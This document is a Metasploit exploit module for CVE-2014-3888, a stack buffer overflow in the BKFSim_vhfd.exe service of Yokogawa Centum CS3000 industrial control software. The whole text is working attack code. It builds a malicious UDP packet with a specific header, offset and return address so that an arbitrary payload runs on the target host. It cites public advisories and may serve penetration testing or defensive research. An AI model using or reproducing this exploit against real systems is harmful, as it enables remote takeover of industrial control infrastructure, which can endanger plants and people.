Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow',  
'Description' => %q{  
This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability  
exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create  
logs using functions like vsprintf and memcpy in a insecure way. This module has been  
tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3.  
},  
'Author' =>  
[  
'Redsadic <julian.vilas[at]gmail.com>',  
'juan vazquez'  
],  
'References' =>  
[  
['CVE', '2014-3888'],  
['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'],  
['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'],  
['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow']  
],  
'Payload' =>  
{  
'Space' => 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret)  
'DisableNops' => true,  
'BadChars' => "\x00",  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3',  
{  
'Ret' => 0x61e55c9c, # push esp | ret # LibBKCCommon.dll  
'Offset' => 438  
}  
],  
],  
'DisclosureDate' => 'May 23 2014',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(20010)  
], self.class)  
end  
  
def exploit  
connect_udp  
  
sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header  
sploit << rand_text(target['Offset'])  
sploit << [target.ret].pack("V")  
sploit << payload.encoded  
  
print_status("Trying target #{target.name}, sending #{sploit.length} bytes...")  
udp_sock.put(sploit)  
  
disconnect_udp  
end  
  
end  
  
`